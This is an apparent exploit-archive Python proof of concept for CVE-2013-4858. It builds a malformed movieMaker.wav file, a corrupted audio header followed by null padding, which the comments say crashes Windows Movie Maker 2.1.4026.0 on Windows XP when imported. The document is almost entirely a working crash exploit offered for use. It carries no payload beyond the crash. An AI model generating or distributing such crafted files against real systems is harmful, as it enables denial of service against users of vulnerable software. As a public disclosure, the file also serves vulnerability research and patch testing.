39 lines
No EOL
1.8 KiB
Python
Executable file
39 lines
No EOL
1.8 KiB
Python
Executable file
# Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC
|
|
# Date: 16-07-2013
|
|
# Exploit Author: ariarat
|
|
# Vendor Homepage: http://www.microsoft.com
|
|
# Software Link: included in windows xp sp2 and sp3
|
|
# Version: 2.1.4026.0
|
|
# Tested on: [ Windows XP sp3]
|
|
# CVE : 2013-4858
|
|
#============================================================================================
|
|
# Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav
|
|
#
|
|
#============================================================================================
|
|
# Contact :
|
|
#------------------
|
|
# Web Page : http://ariarat.blogspot.com
|
|
# Email : mehdi.esmaeelpour@gmail.com
|
|
#============================================================================================
|
|
|
|
#!/usr/bin/python
|
|
|
|
string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
|
|
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
|
|
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
|
|
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
|
|
|
filename = "movieMaker.wav"
|
|
file = open(filename , "w")
|
|
file.write(string)
|
|
file.close() |